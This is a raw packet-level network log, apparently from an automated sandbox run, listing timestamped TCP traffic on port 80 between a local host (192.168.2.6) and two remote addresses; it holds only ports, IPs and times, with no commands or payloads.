Sep 15, 2024 19:37:41.717346907 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717478037 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717508078 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.717510939 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717648029 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717678070 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.717679977 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717714071 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717741966 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.717776060 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717895031 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717931032 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717931032 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.717962980 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.717993021 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.717995882 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718029976 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718058109 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.718287945 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718321085 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718349934 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.718354940 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718507051 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.718826056 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718856096 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.718887091 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.718986988 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.757992983 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.758049965 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.758086920 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.758088112 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.758119106 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.758121967 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.758153915 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.758158922 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.758188009 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.763015032 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.800225973 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.800276995 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.800313950 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.800316095 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.800344944 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.800350904 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.800380945 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.800451994 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.810988903 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811026096 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811060905 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811084986 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811084986 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811142921 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811166048 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811175108 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811208963 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811209917 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811244011 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811270952 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811276913 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811327934 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811359882 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811361074 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811417103 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811449051 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811451912 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811481953 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811508894 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811547041 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811691999 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811705112 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811723948 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811753988 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811784029 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811816931 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811846972 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811849117 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811882019 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811912060 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.811944008 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.811945915 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812027931 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812060118 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812060118 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812089920 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812096119 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812127113 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812129974 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812163115 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812194109 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812226057 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812244892 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812244892 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812261105 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812263012 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812294006 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812321901 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812486887 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812520027 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812552929 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812585115 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812586069 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812586069 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812613964 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812618017 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812644005 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812650919 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812681913 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812683105 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812714100 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812715054 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812737942 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812747955 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812777996 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812779903 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812814951 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812843084 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812845945 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812880993 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812911987 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.812915087 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:41.812949896 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:41.813306093 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.115695953 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.120757103 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429506063 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429577112 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429613113 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429611921 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429647923 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429666042 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429666042 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429702044 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429735899 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429770947 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429794073 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429794073 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429806948 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429822922 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429924011 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429930925 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429963112 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.429991961 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.429996014 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430031061 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430063009 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430083036 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430094957 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430115938 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430146933 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430150032 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430201054 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430233955 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430233955 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430264950 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430264950 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430299044 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430327892 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430349112 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430377007 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430406094 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430407047 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430408955 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430437088 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430443048 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430471897 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430474997 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430504084 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430507898 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430538893 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430567026 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430571079 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430604935 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430635929 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430639029 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430670977 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430700064 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430701971 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430751085 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430779934 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430784941 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430805922 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430809975 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430840015 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430843115 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430874109 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430876017 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430905104 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.430932999 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.430980921 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431004047 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431004047 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431015015 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431050062 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431050062 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431082010 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431108952 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431113958 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431144953 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431145906 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431178093 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431206942 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431210041 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431240082 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431241989 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431273937 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431288004 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431307077 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431339025 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431339979 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431360006 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431370020 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431406021 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431423903 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431456089 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431485891 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431488991 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431518078 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431644917 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431762934 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431796074 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431828976 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431860924 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431890011 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.431893110 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431926966 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.431958914 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.433612108 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435656071 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435709953 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435741901 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435744047 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435774088 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435823917 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435873985 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435902119 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435905933 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435936928 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435939074 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.435966969 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.435988903 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436022043 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436049938 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.436054945 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436086893 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436119080 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436125040 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.436151981 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436181068 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.436184883 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.436213970 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.436507940 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.608763933 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.608792067 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.613929987 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.613974094 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.924999952 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:42.925133944 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.944446087 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:42.949299097 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.122143030 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.122203112 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.122221947 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.122241974 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.122258902 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.122613907 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.124712944 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.129628897 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.302252054 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.302493095 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.311094999 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.315973997 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.518249989 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.521145105 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.523422956 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.528428078 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.737281084 CEST	80	49756	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:43.737622976 CEST	49756	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:43.740355015 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:43.745347023 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:43.745579958 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:43.745704889 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:43.750595093 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398339033 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398396015 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398431063 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398459911 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398464918 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398500919 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398520947 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398535013 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398569107 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398597002 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398597002 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398602009 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398637056 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398670912 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.398673058 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398674011 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398714066 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.398739100 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.403670073 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.403724909 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.403747082 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.403805017 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.488738060 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.488774061 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.488807917 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.488873959 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.488924026 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.488924980 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.488976002 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489028931 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489031076 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.489061117 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489095926 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489097118 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.489152908 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.489744902 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489825010 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489850044 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.489876986 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489911079 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489943981 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.489953041 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.490024090 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.490617037 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.490669966 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.490680933 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.490703106 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.490787029 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.490818977 CEST	80	49758	147.45.44.104	192.168.2.6
Sep 15, 2024 19:37:44.490834951 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.490905046 CEST	49758	80	192.168.2.6	147.45.44.104
Sep 15, 2024 19:37:44.490925074 CEST	49758	80	192.168.2.6	147.45.44.104
